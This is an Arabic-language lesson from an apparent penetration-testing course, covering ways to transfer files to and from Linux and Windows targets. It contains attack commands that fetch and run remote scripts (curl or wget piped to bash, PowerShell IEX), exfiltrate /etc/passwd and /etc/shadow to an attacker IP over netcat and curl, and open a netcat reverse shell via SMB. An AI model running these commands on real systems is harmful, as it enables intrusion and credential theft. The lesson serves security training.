الدرس 11 من 24

تحليل الثغرات والاستغلال

تقنيات نقل الملفات

4 دقيقة للقراءة

نقل الملفات بين جهاز الهجوم والأهداف أمر ضروري. يغطي هذا الدرس طرقاً موثوقة لكل من أهداف Linux و Windows.

إعداد خوادم الملفات

خادم HTTP بـ Python (الأكثر شيوعاً)

# Python 3
python3 -m http.server 80

# Python 2
python -m SimpleHTTPServer 80

# تقديم دليل محدد
cd /usr/share/windows-binaries
python3 -m http.server 80

خادم تطوير PHP

php -S 0.0.0.0:80

Apache (دائم)

# بدء Apache
sudo systemctl start apache2

# نسخ الملفات لجذر الويب
sudo cp file.exe /var/www/html/

نقل الملفات لـ Linux

wget

# تحميل ملف
wget http://10.10.14.5/linpeas.sh

# الحفظ باسم مختلف
wget http://10.10.14.5/linpeas.sh -O /tmp/lp.sh

# التنفيذ مباشرة (بدون حفظ)
wget -qO- http://10.10.14.5/linpeas.sh | bash

curl

# تحميل ملف
curl http://10.10.14.5/linpeas.sh -o linpeas.sh

# التنفيذ مباشرة
curl http://10.10.14.5/linpeas.sh | bash

# التحميل بصمت
curl -s http://10.10.14.5/linpeas.sh -o linpeas.sh

نقل الملفات بـ Netcat

# جانب الاستقبال (جهازك)
nc -lvnp 4444 > received_file

# جانب الإرسال (الهدف)
nc -w 3 10.10.14.5 4444 < /etc/passwd

SCP (إذا كان SSH متاحاً)

# النسخ للهدف
scp linpeas.sh user@10.10.10.10:/tmp/

# النسخ من الهدف
scp user@10.10.10.10:/etc/passwd ./

ترميز Base64 (بدون أدوات)

# على المهاجم: ترميز الملف
base64 -w 0 shell.elf > shell.b64
cat shell.b64  # انسخ الإخراج

# على الهدف: فك ترميز الملف
echo "base64_string_here" | base64 -d > shell.elf
chmod +x shell.elf

نقل الملفات لـ Windows

PowerShell DownloadFile

# تحميل ملف
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/nc.exe','C:\Users\Public\nc.exe')"

# نسخة أقصر
powershell -c "iwr http://10.10.14.5/nc.exe -OutFile nc.exe"

# التحميل والتنفيذ
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')"

certutil

# تحميل ملف
certutil -urlcache -split -f http://10.10.14.5/nc.exe nc.exe

# التحميل لمسار محدد
certutil -urlcache -split -f http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe

Bitsadmin

bitsadmin /transfer job /download /priority high http://10.10.14.5/nc.exe C:\Users\Public\nc.exe

خادم SMB (Impacket)

# على المهاجم: بدء خادم SMB
impacket-smbserver share $(pwd) -smb2support

# على الهدف (Windows)
copy \\10.10.14.5\share\nc.exe C:\Users\Public\nc.exe

# أو التشغيل مباشرة
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 4444

SMB مع المصادقة

# بدء الخادم مع المصادقة
impacket-smbserver share $(pwd) -smb2support -user test -password test

# الاتصال على Windows
net use \\10.10.14.5\share /user:test test
copy \\10.10.14.5\share\file.exe .

طرق الرفع

الرفع من الهدف

Linux - Netcat:

# جهازك يستمع
nc -lvnp 4444 > loot.txt

# الهدف يرسل
cat /etc/shadow | nc 10.10.14.5 4444

Linux - curl POST:

# جهازك (بدء المستمع)
nc -lvnp 80

# الهدف يرسل
curl -X POST -d @/etc/passwd http://10.10.14.5/

Windows - PowerShell:

# جهازك
nc -lvnp 80

# الهدف يرسل
powershell -c "$content = Get-Content C:\Users\user\Desktop\file.txt; Invoke-WebRequest -Uri http://10.10.14.5/ -Method POST -Body $content"

ورقة غش نقل الملفات

لأهداف Linux

الطريقة الأمر
wget wget http://IP/file
curl curl http://IP/file -o file
netcat nc -lvnp PORT > file
scp scp user@IP:/path/file .

لأهداف Windows

الطريقة الأمر
PowerShell iwr http://IP/file -OutFile file
certutil certutil -urlcache -split -f http://IP/file file
SMB copy \\IP\share\file .
bitsadmin bitsadmin /transfer j /download http://IP/file file

مرجع سريع

# بدء خادم HTTP
python3 -m http.server 80

# بدء خادم SMB
impacket-smbserver share . -smb2support

# تحميل Linux
wget http://10.10.14.5/file
curl http://10.10.14.5/file -o file

# تحميل Windows
certutil -urlcache -split -f http://10.10.14.5/file file
powershell iwr http://10.10.14.5/file -OutFile file
copy \\10.10.14.5\share\file .

في الدرس التالي، سنغطي هجمات كلمات المرور وجمع بيانات الاعتماد. :::

اختبار

الوحدة 3: تحليل الثغرات والاستغلال

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.